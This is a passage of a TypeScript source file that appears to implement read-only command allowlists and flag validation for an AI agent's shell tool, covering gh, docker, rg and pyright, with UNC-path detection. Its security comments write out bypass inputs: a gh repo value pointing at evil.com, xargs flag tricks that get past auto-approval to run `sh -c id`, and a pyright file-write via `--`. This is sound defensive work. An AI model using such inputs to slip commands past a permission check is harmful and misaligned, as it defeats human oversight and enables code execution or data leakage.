 939  //   - Any token with 2+ slashes (HOST/OWNER/REPO format — normal is OWNER/REPO)
 940  //   - Any token with `://` (URL)
 941  //   - Any token with `@` (SSH-style)
 942  // This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING
 943  // the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms).
 944  function ghIsDangerousCallback(_rawCommand: string, args: string[]): boolean {
 945    for (const token of args) {
 946      if (!token) continue
 947      // For flag tokens, extract the VALUE after `=` for inspection. Without this,
 948      // `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped
 949      // entirely, bypassing the HOST check. Cobra treats `--flag=val` identically
 950      // to `--flag val`; we must inspect both forms.
 951      let value = token
 952      if (token.startsWith('-')) {
 953        const eqIdx = token.indexOf('=')
 954        if (eqIdx === -1) continue // flag without inline value, nothing to inspect
 955        value = token.slice(eqIdx + 1)
 956        if (!value) continue
 957      }
 958      // Skip values that are clearly not repo specs (no `/` at all, or pure numbers)
 959      if (
 960        !value.includes('/') &&
 961        !value.includes('://') &&
 962        !value.includes('@')
 963      ) {
 964        continue
 965      }
 966      // URL schemes: https://, http://, git://, ssh://
 967      if (value.includes('://')) {
 968        return true
 969      }
 970      // SSH-style: git@host:owner/repo
 971      if (value.includes('@')) {
 972        return true
 973      }
 974      // 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash)
 975      // Count slashes: 2+ slashes means 3+ segments
 976      const slashCount = (value.match(/\//g) || []).length
 977      if (slashCount >= 2) {
 978        return true
 979      }
 980    }
 981    return false
 982  }
 983  
 984  export const GH_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
 985    // gh pr view is read-only — displays pull request details
 986    'gh pr view': {
 987      safeFlags: {
 988        '--json': 'string', // JSON field selection
 989        '--comments': 'none', // Show comments
 990        '--repo': 'string', // Target repository (OWNER/REPO)
 991        '-R': 'string',
 992      },
 993      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
 994    },
 995    // gh pr list is read-only — lists pull requests
 996    'gh pr list': {
 997      safeFlags: {
 998        '--state': 'string', // open, closed, merged, all
 999        '-s': 'string',
1000        '--author': 'string',
1001        '--assignee': 'string',
1002        '--label': 'string',
1003        '--limit': 'number',
1004        '-L': 'number',
1005        '--base': 'string',
1006        '--head': 'string',
1007        '--search': 'string',
1008        '--json': 'string',
1009        '--draft': 'none',
1010        '--app': 'string',
1011        '--repo': 'string',
1012        '-R': 'string',
1013      },
1014      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1015    },
1016    // gh pr diff is read-only — shows pull request diff
1017    'gh pr diff': {
1018      safeFlags: {
1019        '--color': 'string',
1020        '--name-only': 'none',
1021        '--patch': 'none',
1022        '--repo': 'string',
1023        '-R': 'string',
1024      },
1025      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1026    },
1027    // gh pr checks is read-only — shows CI status checks
1028    'gh pr checks': {
1029      safeFlags: {
1030        '--watch': 'none',
1031        '--required': 'none',
1032        '--fail-fast': 'none',
1033        '--json': 'string',
1034        '--interval': 'number',
1035        '--repo': 'string',
1036        '-R': 'string',
1037      },
1038      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1039    },
1040    // gh issue view is read-only — displays issue details
1041    'gh issue view': {
1042      safeFlags: {
1043        '--json': 'string',
1044        '--comments': 'none',
1045        '--repo': 'string',
1046        '-R': 'string',
1047      },
1048      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1049    },
1050    // gh issue list is read-only — lists issues
1051    'gh issue list': {
1052      safeFlags: {
1053        '--state': 'string',
1054        '-s': 'string',
1055        '--assignee': 'string',
1056        '--author': 'string',
1057        '--label': 'string',
1058        '--limit': 'number',
1059        '-L': 'number',
1060        '--milestone': 'string',
1061        '--search': 'string',
1062        '--json': 'string',
1063        '--app': 'string',
1064        '--repo': 'string',
1065        '-R': 'string',
1066      },
1067      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1068    },
1069    // gh repo view is read-only — displays repository details
1070    // NOTE: gh repo view uses a positional argument, not --repo/-R flags
1071    'gh repo view': {
1072      safeFlags: {
1073        '--json': 'string',
1074      },
1075      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1076    },
1077    // gh run list is read-only — lists workflow runs
1078    'gh run list': {
1079      safeFlags: {
1080        '--branch': 'string', // Filter by branch
1081        '-b': 'string',
1082        '--status': 'string', // Filter by status
1083        '-s': 'string',
1084        '--workflow': 'string', // Filter by workflow
1085        '-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web)
1086        '--limit': 'number', // Max results
1087        '-L': 'number',
1088        '--json': 'string', // JSON field selection
1089        '--repo': 'string', // Target repository
1090        '-R': 'string',
1091        '--event': 'string', // Filter by event type
1092        '-e': 'string',
1093        '--user': 'string', // Filter by user
1094        '-u': 'string',
1095        '--created': 'string', // Filter by creation date
1096        '--commit': 'string', // Filter by commit SHA
1097        '-c': 'string',
1098      },
1099      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1100    },
1101    // gh run view is read-only — displays a workflow run's details
1102    'gh run view': {
1103      safeFlags: {
1104        '--log': 'none', // Show full run log
1105        '--log-failed': 'none', // Show log for failed steps only
1106        '--exit-status': 'none', // Exit with run's status code
1107        '--verbose': 'none', // Show job steps
1108        '-v': 'none', // NOTE: -v is --verbose here, NOT --web
1109        '--json': 'string', // JSON field selection
1110        '--repo': 'string', // Target repository
1111        '-R': 'string',
1112        '--job': 'string', // View a specific job by ID
1113        '-j': 'string',
1114        '--attempt': 'number', // View a specific attempt
1115        '-a': 'number',
1116      },
1117      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1118    },
1119    // gh auth status is read-only — displays authentication state
1120    // NOTE: --show-token/-t intentionally excluded (leaks secrets)
1121    'gh auth status': {
1122      safeFlags: {
1123        '--active': 'none', // Display active account only
1124        '-a': 'none',
1125        '--hostname': 'string', // Check specific hostname
1126        '-h': 'string',
1127        '--json': 'string', // JSON field selection
1128      },
1129      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1130    },
1131    // gh pr status is read-only — shows your PRs
1132    'gh pr status': {
1133      safeFlags: {
1134        '--conflict-status': 'none', // Display merge conflict status
1135        '-c': 'none',
1136        '--json': 'string', // JSON field selection
1137        '--repo': 'string', // Target repository
1138        '-R': 'string',
1139      },
1140      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1141    },
1142    // gh issue status is read-only — shows your issues
1143    'gh issue status': {
1144      safeFlags: {
1145        '--json': 'string', // JSON field selection
1146        '--repo': 'string', // Target repository
1147        '-R': 'string',
1148      },
1149      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1150    },
1151    // gh release list is read-only — lists releases
1152    'gh release list': {
1153      safeFlags: {
1154        '--exclude-drafts': 'none', // Exclude draft releases
1155        '--exclude-pre-releases': 'none', // Exclude pre-releases
1156        '--json': 'string', // JSON field selection
1157        '--limit': 'number', // Max results
1158        '-L': 'number',
1159        '--order': 'string', // Order: asc|desc
1160        '-O': 'string',
1161        '--repo': 'string', // Target repository
1162        '-R': 'string',
1163      },
1164      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1165    },
1166    // gh release view is read-only — displays release details
1167    // NOTE: --web/-w intentionally excluded (opens browser)
1168    'gh release view': {
1169      safeFlags: {
1170        '--json': 'string', // JSON field selection
1171        '--repo': 'string', // Target repository
1172        '-R': 'string',
1173      },
1174      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1175    },
1176    // gh workflow list is read-only — lists workflow files
1177    'gh workflow list': {
1178      safeFlags: {
1179        '--all': 'none', // Include disabled workflows
1180        '-a': 'none',
1181        '--json': 'string', // JSON field selection
1182        '--limit': 'number', // Max results
1183        '-L': 'number',
1184        '--repo': 'string', // Target repository
1185        '-R': 'string',
1186      },
1187      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1188    },
1189    // gh workflow view is read-only — displays workflow summary
1190    // NOTE: --web/-w intentionally excluded (opens browser)
1191    'gh workflow view': {
1192      safeFlags: {
1193        '--ref': 'string', // Branch/tag with workflow version
1194        '-r': 'string',
1195        '--yaml': 'none', // View workflow yaml
1196        '-y': 'none',
1197        '--repo': 'string', // Target repository
1198        '-R': 'string',
1199      },
1200      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1201    },
1202    // gh label list is read-only — lists labels
1203    // NOTE: --web/-w intentionally excluded (opens browser)
1204    'gh label list': {
1205      safeFlags: {
1206        '--json': 'string', // JSON field selection
1207        '--limit': 'number', // Max results
1208        '-L': 'number',
1209        '--order': 'string', // Order: asc|desc
1210        '--search': 'string', // Search label names
1211        '-S': 'string',
1212        '--sort': 'string', // Sort: created|name
1213        '--repo': 'string', // Target repository
1214        '-R': 'string',
1215      },
1216      additionalCommandIsDangerousCallback: ghIsDangerousCallback,
1217    },
1218    // gh search repos is read-only — searches repositories
1219    // NOTE: --web/-w intentionally excluded (opens browser)
1220    'gh search repos': {
1221      safeFlags: {
1222        '--archived': 'none', // Filter by archived state
1223        '--created': 'string', // Filter by creation date
1224        '--followers': 'string', // Filter by followers count
1225        '--forks': 'string', // Filter by forks count
1226        '--good-first-issues': 'string', // Filter by good first issues
1227        '--help-wanted-issues': 'string', // Filter by help wanted issues
1228        '--include-forks': 'string', // Include forks: false|true|only
1229        '--json': 'string', // JSON field selection
1230        '--language': 'string', // Filter by language
1231        '--license': 'string', // Filter by license
1232        '--limit': 'number', // Max results
1233        '-L': 'number',
1234        '--match': 'string', // Restrict to field: name|description|readme
1235        '--number-topics': 'string', // Filter by number of topics
1236        '--order': 'string', // Order: asc|desc
1237        '--owner': 'string', // Filter by owner
1238        '--size': 'string', // Filter by size range
1239        '--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated
1240        '--stars': 'string', // Filter by stars
1241        '--topic': 'string', // Filter by topic
1242        '--updated': 'string', // Filter by update date
1243        '--visibility': 'string', // Filter: public|private|internal
1244      },
1245    },
1246    // gh search issues is read-only — searches issues
1247    // NOTE: --web/-w intentionally excluded (opens browser)
1248    'gh search issues': {
1249      safeFlags: {
1250        '--app': 'string', // Filter by GitHub App author
1251        '--assignee': 'string', // Filter by assignee
1252        '--author': 'string', // Filter by author
1253        '--closed': 'string', // Filter by closed date
1254        '--commenter': 'string', // Filter by commenter
1255        '--comments': 'string', // Filter by comment count
1256        '--created': 'string', // Filter by creation date
1257        '--include-prs': 'none', // Include PRs in results
1258        '--interactions': 'string', // Filter by interactions count
1259        '--involves': 'string', // Filter by involvement
1260        '--json': 'string', // JSON field selection
1261        '--label': 'string', // Filter by label
1262        '--language': 'string', // Filter by language
1263        '--limit': 'number', // Max results
1264        '-L': 'number',
1265        '--locked': 'none', // Filter locked conversations
1266        '--match': 'string', // Restrict to field: title|body|comments
1267        '--mentions': 'string', // Filter by user mentions
1268        '--milestone': 'string', // Filter by milestone
1269        '--no-assignee': 'none', // Filter missing assignee
1270        '--no-label': 'none', // Filter missing label
1271        '--no-milestone': 'none', // Filter missing milestone
1272        '--no-project': 'none', // Filter missing project
1273        '--order': 'string', // Order: asc|desc
1274        '--owner': 'string', // Filter by owner
1275        '--project': 'string', // Filter by project
1276        '--reactions': 'string', // Filter by reaction count
1277        '--repo': 'string', // Filter by repository
1278        '-R': 'string',
1279        '--sort': 'string', // Sort field
1280        '--state': 'string', // Filter: open|closed
1281        '--team-mentions': 'string', // Filter by team mentions
1282        '--updated': 'string', // Filter by update date
1283        '--visibility': 'string', // Filter: public|private|internal
1284      },
1285    },
1286    // gh search prs is read-only — searches pull requests
1287    // NOTE: --web/-w intentionally excluded (opens browser)
1288    'gh search prs': {
1289      safeFlags: {
1290        '--app': 'string', // Filter by GitHub App author
1291        '--assignee': 'string', // Filter by assignee
1292        '--author': 'string', // Filter by author
1293        '--base': 'string', // Filter by base branch
1294        '-B': 'string',
1295        '--checks': 'string', // Filter by check status
1296        '--closed': 'string', // Filter by closed date
1297        '--commenter': 'string', // Filter by commenter
1298        '--comments': 'string', // Filter by comment count
1299        '--created': 'string', // Filter by creation date
1300        '--draft': 'none', // Filter draft PRs
1301        '--head': 'string', // Filter by head branch
1302        '-H': 'string',
1303        '--interactions': 'string', // Filter by interactions count
1304        '--involves': 'string', // Filter by involvement
1305        '--json': 'string', // JSON field selection
1306        '--label': 'string', // Filter by label
1307        '--language': 'string', // Filter by language
1308        '--limit': 'number', // Max results
1309        '-L': 'number',
1310        '--locked': 'none', // Filter locked conversations
1311        '--match': 'string', // Restrict to field: title|body|comments
1312        '--mentions': 'string', // Filter by user mentions
1313        '--merged': 'none', // Filter merged PRs
1314        '--merged-at': 'string', // Filter by merge date
1315        '--milestone': 'string', // Filter by milestone
1316        '--no-assignee': 'none', // Filter missing assignee
1317        '--no-label': 'none', // Filter missing label
1318        '--no-milestone': 'none', // Filter missing milestone
1319        '--no-project': 'none', // Filter missing project
1320        '--order': 'string', // Order: asc|desc
1321        '--owner': 'string', // Filter by owner
1322        '--project': 'string', // Filter by project
1323        '--reactions': 'string', // Filter by reaction count
1324        '--repo': 'string', // Filter by repository
1325        '-R': 'string',
1326        '--review': 'string', // Filter by review status
1327        '--review-requested': 'string', // Filter by review requested
1328        '--reviewed-by': 'string', // Filter by reviewer
1329        '--sort': 'string', // Sort field
1330        '--state': 'string', // Filter: open|closed
1331        '--team-mentions': 'string', // Filter by team mentions
1332        '--updated': 'string', // Filter by update date
1333        '--visibility': 'string', // Filter: public|private|internal
1334      },
1335    },
1336    // gh search commits is read-only — searches commits
1337    // NOTE: --web/-w intentionally excluded (opens browser)
1338    'gh search commits': {
1339      safeFlags: {
1340        '--author': 'string', // Filter by author
1341        '--author-date': 'string', // Filter by authored date
1342        '--author-email': 'string', // Filter by author email
1343        '--author-name': 'string', // Filter by author name
1344        '--committer': 'string', // Filter by committer
1345        '--committer-date': 'string', // Filter by committed date
1346        '--committer-email': 'string', // Filter by committer email
1347        '--committer-name': 'string', // Filter by committer name
1348        '--hash': 'string', // Filter by commit hash
1349        '--json': 'string', // JSON field selection
1350        '--limit': 'number', // Max results
1351        '-L': 'number',
1352        '--merge': 'none', // Filter merge commits
1353        '--order': 'string', // Order: asc|desc
1354        '--owner': 'string', // Filter by owner
1355        '--parent': 'string', // Filter by parent hash
1356        '--repo': 'string', // Filter by repository
1357        '-R': 'string',
1358        '--sort': 'string', // Sort: author-date|committer-date
1359        '--tree': 'string', // Filter by tree hash
1360        '--visibility': 'string', // Filter: public|private|internal
1361      },
1362    },
1363    // gh search code is read-only — searches code
1364    // NOTE: --web/-w intentionally excluded (opens browser)
1365    'gh search code': {
1366      safeFlags: {
1367        '--extension': 'string', // Filter by file extension
1368        '--filename': 'string', // Filter by filename
1369        '--json': 'string', // JSON field selection
1370        '--language': 'string', // Filter by language
1371        '--limit': 'number', // Max results
1372        '-L': 'number',
1373        '--match': 'string', // Restrict to: file|path
1374        '--owner': 'string', // Filter by owner
1375        '--repo': 'string', // Filter by repository
1376        '-R': 'string',
1377        '--size': 'string', // Filter by size range
1378      },
1379    },
1380  }
1381  
1382  // ---------------------------------------------------------------------------
1383  // DOCKER_READ_ONLY_COMMANDS — docker inspect/logs read-only commands
1384  // ---------------------------------------------------------------------------
1385  
1386  export const DOCKER_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
1387    {
1388      'docker logs': {
1389        safeFlags: {
1390          '--follow': 'none',
1391          '-f': 'none',
1392          '--tail': 'string',
1393          '-n': 'string',
1394          '--timestamps': 'none',
1395          '-t': 'none',
1396          '--since': 'string',
1397          '--until': 'string',
1398          '--details': 'none',
1399        },
1400      },
1401      'docker inspect': {
1402        safeFlags: {
1403          '--format': 'string',
1404          '-f': 'string',
1405          '--type': 'string',
1406          '--size': 'none',
1407          '-s': 'none',
1408        },
1409      },
1410    }
1411  
1412  // ---------------------------------------------------------------------------
1413  // RIPGREP_READ_ONLY_COMMANDS — rg (ripgrep) read-only search
1414  // ---------------------------------------------------------------------------
1415  
1416  export const RIPGREP_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
1417    {
1418      rg: {
1419        safeFlags: {
1420          // Pattern flags
1421          '-e': 'string', // Pattern to search for
1422          '--regexp': 'string',
1423          '-f': 'string', // Read patterns from file
1424  
1425          // Common search options
1426          '-i': 'none', // Case insensitive
1427          '--ignore-case': 'none',
1428          '-S': 'none', // Smart case
1429          '--smart-case': 'none',
1430          '-F': 'none', // Fixed strings
1431          '--fixed-strings': 'none',
1432          '-w': 'none', // Word regexp
1433          '--word-regexp': 'none',
1434          '-v': 'none', // Invert match
1435          '--invert-match': 'none',
1436  
1437          // Output options
1438          '-c': 'none', // Count matches
1439          '--count': 'none',
1440          '-l': 'none', // Files with matches
1441          '--files-with-matches': 'none',
1442          '--files-without-match': 'none',
1443          '-n': 'none', // Line number
1444          '--line-number': 'none',
1445          '-o': 'none', // Only matching
1446          '--only-matching': 'none',
1447          '-A': 'number', // After context
1448          '--after-context': 'number',
1449          '-B': 'number', // Before context
1450          '--before-context': 'number',
1451          '-C': 'number', // Context
1452          '--context': 'number',
1453          '-H': 'none', // With filename
1454          '-h': 'none', // No filename
1455          '--heading': 'none',
1456          '--no-heading': 'none',
1457          '-q': 'none', // Quiet
1458          '--quiet': 'none',
1459          '--column': 'none',
1460  
1461          // File filtering
1462          '-g': 'string', // Glob
1463          '--glob': 'string',
1464          '-t': 'string', // Type
1465          '--type': 'string',
1466          '-T': 'string', // Type not
1467          '--type-not': 'string',
1468          '--type-list': 'none',
1469          '--hidden': 'none',
1470          '--no-ignore': 'none',
1471          '-u': 'none', // Unrestricted
1472  
1473          // Common options
1474          '-m': 'number', // Max count per file
1475          '--max-count': 'number',
1476          '-d': 'number', // Max depth
1477          '--max-depth': 'number',
1478          '-a': 'none', // Text (search binary files)
1479          '--text': 'none',
1480          '-z': 'none', // Search zip
1481          '-L': 'none', // Follow symlinks
1482          '--follow': 'none',
1483  
1484          // Display options
1485          '--color': 'string',
1486          '--json': 'none',
1487          '--stats': 'none',
1488  
1489          // Help and version
1490          '--help': 'none',
1491          '--version': 'none',
1492          '--debug': 'none',
1493  
1494          // Special argument separator
1495          '--': 'none',
1496        },
1497      },
1498    }
1499  
1500  // ---------------------------------------------------------------------------
1501  // PYRIGHT_READ_ONLY_COMMANDS — pyright static type checker
1502  // ---------------------------------------------------------------------------
1503  
1504  export const PYRIGHT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
1505    {
1506      pyright: {
1507        respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options
1508        safeFlags: {
1509          '--outputjson': 'none',
1510          '--project': 'string',
1511          '-p': 'string',
1512          '--pythonversion': 'string',
1513          '--pythonplatform': 'string',
1514          '--typeshedpath': 'string',
1515          '--venvpath': 'string',
1516          '--level': 'string',
1517          '--stats': 'none',
1518          '--verbose': 'none',
1519          '--version': 'none',
1520          '--dependencies': 'none',
1521          '--warnings': 'none',
1522        },
1523        additionalCommandIsDangerousCallback: (
1524          _rawCommand: string,
1525          args: string[],
1526        ) => {
1527          // Check if --watch or -w appears as a standalone token (flag)
1528          return args.some(t => t === '--watch' || t === '-w')
1529        },
1530      },
1531    }
1532  
1533  // ---------------------------------------------------------------------------
1534  // EXTERNAL_READONLY_COMMANDS — cross-shell read-only commands
1535  // Only commands that work identically in bash and PowerShell on Windows.
1536  // Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS.
1537  // ---------------------------------------------------------------------------
1538  
1539  export const EXTERNAL_READONLY_COMMANDS: readonly string[] = [
1540    // Cross-platform external tools that work the same in bash and PowerShell on Windows
1541    'docker ps',
1542    'docker images',
1543  ] as const
1544  
1545  // ---------------------------------------------------------------------------
1546  // UNC path detection (shared across Bash and PowerShell)
1547  // ---------------------------------------------------------------------------
1548  
1549  /**
1550   * Check if a path or command contains a UNC path that could trigger network
1551   * requests (NTLM/Kerberos credential leakage, WebDAV attacks).
1552   *
1553   * This function detects:
1554   * - Basic UNC paths: \\server\share, \\foo.com\file
1555   * - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\
1556   * - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share
1557   * - Forward-slash variants: //server/share
1558   *
1559   * @param pathOrCommand The path or command string to check
1560   * @returns true if the path/command contains potentially vulnerable UNC paths
1561   */
1562  export function containsVulnerableUncPath(pathOrCommand: string): boolean {
1563    // Only check on Windows platform
1564    if (getPlatform() !== 'windows') {
1565      return false
1566    }
1567  
1568    // 1. Check for general UNC paths with backslashes
1569    // Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share
1570    // Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars
1571    // Trailing accepts both \ and / since Windows treats both as path separators
1572    const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
1573    if (backslashUncPattern.test(pathOrCommand)) {
1574      return true
1575    }
1576  
1577    // 2. Check for forward-slash UNC paths
1578    // Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share
1579    // Uses negative lookbehind (?<!:) to exclude URLs (https://, http://, ftp://)
1580    // while catching // preceded by quotes, =, or any other non-colon character.
1581    // Trailing accepts both / and \ since Windows treats both as path separators
1582    const forwardSlashUncPattern =
1583      // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() on short command strings
1584      /(?<!:)\/\/[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
1585    if (forwardSlashUncPattern.test(pathOrCommand)) {
1586      return true
1587    }
1588  
1589    // 3. Check for mixed-separator UNC paths (forward slash + backslashes)
1590    // On Windows/Cygwin, /\ is equivalent to // since both are path separators.
1591    // In bash, /\\server becomes /\server after escape processing, which is a UNC path.
1592    // Requires 2+ backslashes after / because a single backslash just escapes the next char
1593    // (e.g., /\a → /a after bash processing, which is NOT a UNC path).
1594    const mixedSlashUncPattern = /\/\\{2,}[^\s\\/]/
1595    if (mixedSlashUncPattern.test(pathOrCommand)) {
1596      return true
1597    }
1598  
1599    // 4. Check for mixed-separator UNC paths (backslashes + forward slash)
1600    // \\/server in bash becomes \/server after escape processing, which is a UNC path
1601    // on Windows since both \ and / are path separators.
1602    const reverseMixedSlashUncPattern = /\\{2,}\/[^\s\\/]/
1603    if (reverseMixedSlashUncPattern.test(pathOrCommand)) {
1604      return true
1605    }
1606  
1607    // 5. Check for WebDAV SSL/port patterns
1608    // Examples: \\server@SSL@8443\path, \\server@8443@SSL\path
1609    if (/@SSL@\d+/i.test(pathOrCommand) || /@\d+@SSL/i.test(pathOrCommand)) {
1610      return true
1611    }
1612  
1613    // 6. Check for DavWWWRoot marker (Windows WebDAV redirector)
1614    // Example: \\server\DavWWWRoot\path
1615    if (/DavWWWRoot/i.test(pathOrCommand)) {
1616      return true
1617    }
1618  
1619    // 7. Check for UNC paths with IPv4 addresses (explicit check for defense-in-depth)
1620    // Examples: \\192.168.1.1\share, \\10.0.0.1\path
1621    if (
1622      /^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) ||
1623      /^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand)
1624    ) {
1625      return true
1626    }
1627  
1628    // 8. Check for UNC paths with bracketed IPv6 addresses (explicit check for defense-in-depth)
1629    // Examples: \\[2001:db8::1]\share, \\[::1]\path
1630    if (
1631      /^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) ||
1632      /^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand)
1633    ) {
1634      return true
1635    }
1636  
1637    return false
1638  }
1639  
1640  // ---------------------------------------------------------------------------
1641  // Flag validation utilities
1642  // ---------------------------------------------------------------------------
1643  
1644  // Regex pattern to match valid flag names (letters, digits, underscores, hyphens)
1645  export const FLAG_PATTERN = /^-[a-zA-Z0-9_-]/
1646  
1647  /**
1648   * Validates flag arguments based on their expected type
1649   */
1650  export function validateFlagArgument(
1651    value: string,
1652    argType: FlagArgType,
1653  ): boolean {
1654    switch (argType) {
1655      case 'none':
1656        return false // Should not have been called for 'none' type
1657      case 'number':
1658        return /^\d+$/.test(value)
1659      case 'string':
1660        return true // Any string including empty is valid
1661      case 'char':
1662        return value.length === 1
1663      case '{}':
1664        return value === '{}'
1665      case 'EOF':
1666        return value === 'EOF'
1667      default:
1668        return false
1669    }
1670  }
1671  
1672  /**
1673   * Validates the flags/arguments portion of a tokenized command against a config.
1674   * This is the flag-walking loop extracted from BashTool's isCommandSafeViaFlagParsing.
1675   *
1676   * @param tokens - Pre-tokenized args (from bash shell-quote or PowerShell AST)
1677   * @param startIndex - Where to start validating (after command tokens)
1678   * @param config - The safe flags config
1679   * @param options.commandName - For command-specific handling (git numeric shorthand, grep/rg attached numeric)
1680   * @param options.rawCommand - For additionalCommandIsDangerousCallback
1681   * @param options.xargsTargetCommands - If provided, enables xargs-style target command detection
1682   * @returns true if all flags are valid, false otherwise
1683   */
1684  export function validateFlags(
1685    tokens: string[],
1686    startIndex: number,
1687    config: ExternalCommandConfig,
1688    options?: {
1689      commandName?: string
1690      rawCommand?: string
1691      xargsTargetCommands?: string[]
1692    },
1693  ): boolean {
1694    let i = startIndex
1695  
1696    while (i < tokens.length) {
1697      let token = tokens[i]
1698      if (!token) {
1699        i++
1700        continue
1701      }
1702  
1703      // Special handling for xargs: once we find the target command, stop validating flags
1704      if (
1705        options?.xargsTargetCommands &&
1706        options.commandName === 'xargs' &&
1707        (!token.startsWith('-') || token === '--')
1708      ) {
1709        if (token === '--' && i + 1 < tokens.length) {
1710          i++
1711          token = tokens[i]
1712        }
1713        if (token && options.xargsTargetCommands.includes(token)) {
1714          break
1715        }
1716        return false
1717      }
1718  
1719      if (token === '--') {
1720        // SECURITY: Only break if the tool respects POSIX `--` (default: true).
1721        // Tools like pyright don't respect `--` — they treat it as a file path
1722        // and continue processing subsequent tokens as flags. Breaking here
1723        // would let `pyright -- --createstub os` auto-approve a file-write flag.
1724        if (config.respectsDoubleDash !== false) {
1725          i++
1726          break // Everything after -- is arguments
1727        }
1728        // Tool doesn't respect --: treat as positional arg, keep validating
1729        i++
1730        continue
1731      }
1732  
1733      if (token.startsWith('-') && token.length > 1 && FLAG_PATTERN.test(token)) {
1734        // Handle --flag=value format
1735        // SECURITY: Track whether the token CONTAINS `=` separately from
1736        // whether the value is non-empty. `-E=` has `hasEquals=true` but
1737        // `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at
1738        // line ~1813 would fall through to "consume next token" — but GNU
1739        // getopt for short options with mandatory arg sees `-E=` as `-E` with
1740        // ATTACHED arg `=` (it doesn't strip `=` for short options). Parser
1741        // differential: validator advances 2 tokens, GNU advances 1.
1742        //
1743        // Attack: `xargs -E= EOF echo foo` (zero permissions)
1744        //   Validator: inlineValue='' falsy → consumes EOF as -E arg → i+=2 →
1745        //     echo ∈ SAFE_TARGET_COMMANDS_FOR_XARGS → break → AUTO-ALLOWED
1746        //   GNU xargs: -E attached arg=`=` → EOF is TARGET COMMAND → CODE EXEC
1747        //
1748        // Fix: when hasEquals is true, use inlineValue (even if empty) as the
1749        // provided arg. validateFlagArgument('', 'EOF') → false → rejected.
1750        // This is correct for all arg types: the user explicitly typed `=`,
1751        // indicating they provided a value (empty). Don't consume next token.
1752        const hasEquals = token.includes('=')
1753        const [flag, ...valueParts] = token.split('=')
1754        const inlineValue = valueParts.join('=')
1755  
1756        if (!flag) {
1757          return false
1758        }
1759  
1760        const flagArgType = config.safeFlags[flag]
1761  
1762        if (!flagArgType) {
1763          // Special case: git commands support -<number> as shorthand for -n <number>
1764          if (options?.commandName === 'git' && flag.match(/^-\d+$/)) {
1765            // This is equivalent to -n flag which is safe for git log/diff/show
1766            i++
1767            continue
1768          }
1769  
1770          // Handle flags with directly attached numeric arguments (e.g., -A20, -B10)
1771          // Only apply this special handling to grep and rg commands
1772          if (
1773            (options?.commandName === 'grep' || options?.commandName === 'rg') &&
1774            flag.startsWith('-') &&
1775            !flag.startsWith('--') &&
1776            flag.length > 2
1777          ) {
1778            const potentialFlag = flag.substring(0, 2) // e.g., '-A' from '-A20'
1779            const potentialValue = flag.substring(2) // e.g., '20' from '-A20'
1780  
1781            if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) {
1782              // This is a flag with attached numeric argument
1783              const flagArgType = config.safeFlags[potentialFlag]
1784              if (flagArgType === 'number' || flagArgType === 'string') {
1785                // Validate the numeric value
1786                if (validateFlagArgument(potentialValue, flagArgType)) {
1787                  i++
1788                  continue
1789                } else {
1790                  return false // Invalid attached value
1791                }
1792              }
1793            }
1794          }
1795  
1796          // Handle combined single-letter flags like -nr
1797          // SECURITY: We must NOT allow any bundled flag that takes an argument.
1798          // GNU getopt bundling semantics: when an arg-taking option appears LAST
1799          // in a bundle with no trailing chars, the NEXT argv element is consumed
1800          // as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as:
1801          //   -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id`
1802          // Our naive handler previously only checked EXISTENCE in safeFlags (both
1803          // `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token.
1804          // This created a parser differential: our validator thought `echo` was
1805          // the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS → break), but
1806          // xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less.
1807          //
1808          // Fix: require ALL bundled flags to have arg type 'none'. If any bundled
1809          // flag requires an argument (non-'none' type), reject the whole bundle.
1810          // This is conservative — it blocks `-rI` (xargs) entirely, but that's
1811          // the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`.
1812          if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
